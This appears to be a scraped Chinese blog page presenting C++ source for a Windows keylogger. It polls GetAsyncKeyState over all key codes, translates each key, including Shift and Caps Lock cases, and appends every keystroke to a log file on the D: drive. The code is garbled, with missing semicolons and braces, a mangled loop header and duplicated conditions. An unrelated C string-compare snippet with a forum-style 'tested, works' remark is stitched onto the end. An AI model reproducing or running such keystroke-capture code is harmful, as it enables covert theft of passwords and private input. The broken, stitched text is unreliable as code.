c++实现键盘记录仪（键盘钩子）

2023-03-18 01:36:01Python014

c++实现键盘记录仪（键盘钩子）,第1张

啥都不说，先上源码

#include <windows.h>

#include <Winuser.h>

#include <string>

#include <fstream>

#include <iostream>

using namespace std

string GetKey(int Key) // 判断键盘按下什么键

{

string KeyString = ""

//判断符号输入

const int KeyPressMask=0x80000000//键盘掩码常量

int iShift=GetKeyState(0x10)//判断Shift键状态

bool IS=(iShift &KeyPressMask)==KeyPressMask//表示按下Shift键

if(Key >=186 &&Key <=222)

{

switch(Key)

{

case 186:

if(IS)

KeyString = ":"

else

KeyString = ""

break

case 187:

if(IS)

KeyString = "+"

else

KeyString = "="

break

case 188:

if(IS)

KeyString = "<"

else

KeyString = ","

break

case 189:

if(IS)

KeyString = "_"

else

KeyString = "-"

break

case 190:

if(IS)

KeyString = ">"

else

KeyString = "."

break

case 191:

if(IS)

KeyString = "?"

else

KeyString = "/"

break

case 192:

if(IS)

KeyString = "~"

else

KeyString = "`"

break

case 219:

if(IS)

KeyString = "{"

else

KeyString = "["

break

case 220:

if(IS)

KeyString = "|"

else

KeyString = "\\"

break

case 221:

if(IS)

KeyString = "}"

else

KeyString = "]"

break

case 222:

if(IS)

KeyString = '"'

else

KeyString = "'"

break

}

//判断键盘的第一行

if (Key == VK_ESCAPE) // 退出

KeyString = "[Esc]"

else if (Key == VK_F1) // F1至F12

KeyString = "[F1]"

else if (Key == VK_F2)

KeyString = "[F2]"

else if (Key == VK_F3)

KeyString = "[F3]"

else if (Key == VK_F4)

KeyString = "[F4]"

else if (Key == VK_F5)

KeyString = "[F5]"

else if (Key == VK_F6)

KeyString = "[F6]"

else if (Key == VK_F7)

KeyString = "[F7]"

else if (Key == VK_F8)

KeyString = "[F8]"

else if (Key == VK_F9)

KeyString = "[F9]"

else if (Key == VK_F10)

KeyString = "[F10]"

else if (Key == VK_F11)

KeyString = "[F11]"

else if (Key == VK_F12)

KeyString = "[F12]"

else if (Key == VK_SNAPSHOT) // 打印屏幕

KeyString = "[PrScrn]"

else if (Key == VK_SCROLL) // 滚动锁定

KeyString = "[Scroll Lock]"

else if (Key == VK_PAUSE) // 暂停、中断

KeyString = "[Pause]"

else if (Key == VK_CAPITAL) // 大写锁定

KeyString = "[Caps Lock]"

//-------------------------------------//

//控制键

else if (Key == 8) //<- 回格键

KeyString = "[Backspace]"

else if (Key == VK_RETURN) // 回车键、换行

KeyString = "[Enter]\n"

else if (Key == VK_SPACE) // 空格

KeyString = " "

//上档键:键盘记录的时候，可以不记录。单独的Shift是不会有任何字符，

//上档键和别的键组合，输出时有字符输出

else if (Key == VK_LSHIFT) // 左侧上档键

KeyString = "[Shift]"

else if (Key == VK_LSHIFT) // 右侧上档键

KeyString = "[SHIFT]"

/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/

else if (Key == VK_TAB) // 制表键

KeyString = "[Tab]"

else if (Key == VK_LCONTROL) // 左控制键

KeyString = "[Ctrl]"

else if (Key == VK_RCONTROL) // 右控制键

KeyString = "[CTRL]"

else if (Key == VK_LMENU) // 左换档键

KeyString = "[Alt]"

else if (Key == VK_LMENU) // 右换档键

KeyString = "[ALT]"

else if (Key == VK_LWIN) // 右 WINDOWS 键

KeyString = "[Win]"

else if (Key == VK_RWIN) // 右 WINDOWS 键

KeyString = "[WIN]"

else if (Key == VK_APPS) // 键盘上右键

KeyString = "右键"

else if (Key == VK_INSERT) // 插入

KeyString = "[Insert]"

else if (Key == VK_DELETE) // 删除

KeyString = "[Delete]"

else if (Key == VK_HOME) // 起始

KeyString = "[Home]"

else if (Key == VK_END) // 结束

KeyString = "[End]"

else if (Key == VK_PRIOR) // 上一页

KeyString = "[PgUp]"

else if (Key == VK_NEXT) // 下一页

KeyString = "[PgDown]"

// 不常用的几个键:一般键盘没有

else if (Key == VK_CANCEL) // Cancel

KeyString = "[Cancel]"

else if (Key == VK_CLEAR) // Clear

KeyString = "[Clear]"

else if (Key == VK_SELECT) //Select

KeyString = "[Select]"

else if (Key == VK_PRINT) //Print

KeyString = "[Print]"

else if (Key == VK_EXECUTE) //Execute

KeyString = "[Execute]"

//----------------------------------------//

else if (Key == VK_LEFT) //上、下、左、右键

KeyString = "[←]"

else if (Key == VK_RIGHT)

KeyString = "[→]"

else if (Key == VK_UP)

KeyString = "[↑]"

else if (Key == VK_DOWN)

KeyString = "[↓]"

else if (Key == VK_NUMLOCK)//小键盘数码锁定

KeyString = "[NumLock]"

else if (Key == VK_ADD) // 加、减、乘、除

KeyString = "+"

else if (Key == VK_SUBTRACT)

KeyString = "-"

else if (Key == VK_MULTIPLY)

KeyString = "*"

else if (Key == VK_DIVIDE)

KeyString = "/"

else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .

KeyString = "."

//小键盘数字键:0-9

else if (Key == VK_NUMPAD0)

KeyString = "0"

else if (Key == VK_NUMPAD1)

KeyString = "1"

else if (Key == VK_NUMPAD2)

KeyString = "2"

else if (Key == VK_NUMPAD3)

KeyString = "3"

else if (Key == VK_NUMPAD4)

KeyString = "4"

else if (Key == VK_NUMPAD5)

KeyString = "5"

else if (Key == VK_NUMPAD6)

KeyString = "6"

else if (Key == VK_NUMPAD7)

KeyString = "7"

else if (Key == VK_NUMPAD8)

KeyString = "8"

else if (Key == VK_NUMPAD9)

KeyString = "9"

//-------------------------------------------//

//*对字母的大小写进行判断*//

else if (Key >=97 &&Key <= 122) // 字母:a-z

{

if (GetKeyState(VK_CAPITAL)) // 大写锁定

{

if(IS) //Shift按下:为小写字母

KeyString = Key

else // 只有大写锁定:输出大写字母

KeyString = Key - 32

}

else// 大写没有锁定

{

if(IS) // 按下Shift键: 大写字母

KeyString = Key - 32

else // 没有按Shift键: 小写字母

KeyString = Key

}

else if (Key >=48 &&Key <= 57) // 键盘数字:0-9及上方的符号

{

if(IS)

{

switch(Key)

{

case 48: //0

KeyString = ")"

break

case 49://1

KeyString = "!"

break

case 50://2

KeyString = "@"

break

case 51://3

KeyString = "#"

break

case 52://4

KeyString = "$"

break

case 53://5

KeyString = "%"

break

case 54://6

KeyString = "^"

break

case 55://7

KeyString = "&"

break

case 56://8

KeyString = "*"

break

case 57://9

KeyString = "("

break

}

else

KeyString = Key

}

if (Key != VK_LBUTTON || Key != VK_RBUTTON)

{

if (Key >=65 &&Key <=90) //ASCII 65-90 为A-Z

{

if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z

{

if(IS) // 大写锁定，并且按下上档键:输出为小写字母

KeyString = Key + 32

else //只有大写锁定:输出为大写字母

KeyString = Key

}

else // 大写没有锁定:a-z

{

if(IS)

{

KeyString = Key

}

else

{

Key = Key + 32

KeyString = Key

}

return KeyString

}

int main()

{

string Filename = "D:\\log.txt"//倒出记录文本存在D盘log.txt目录下

string TempString = ""

fstream FStream

cout<<"现在开始键盘记录"

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app)

while(true)

{

Sleep(5)

for(int i = 8i <=255i++)

{

if(GetAsyncKeyState(i)&1 ==1)

{

TempString = GetKey (i)

FStream.write(TempString.c_str(), TempString.size())

FStream.close()

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app)

}

#include #include #define Max 100int main(){char a[Max]//输入的字符串char b[Max]="小明"//比较的字符串printf("你是?\n") scanf("%s",a)//输入字符串,这种方式字符串之间不能有空格,用，if(strcmp(a,b)==0){//如果相等的话返回值为0printf("你好\n") }else{printf("不认识你\n") }return 0}经过测试，可行！满意请采纳！

大写上档键盘按下字母

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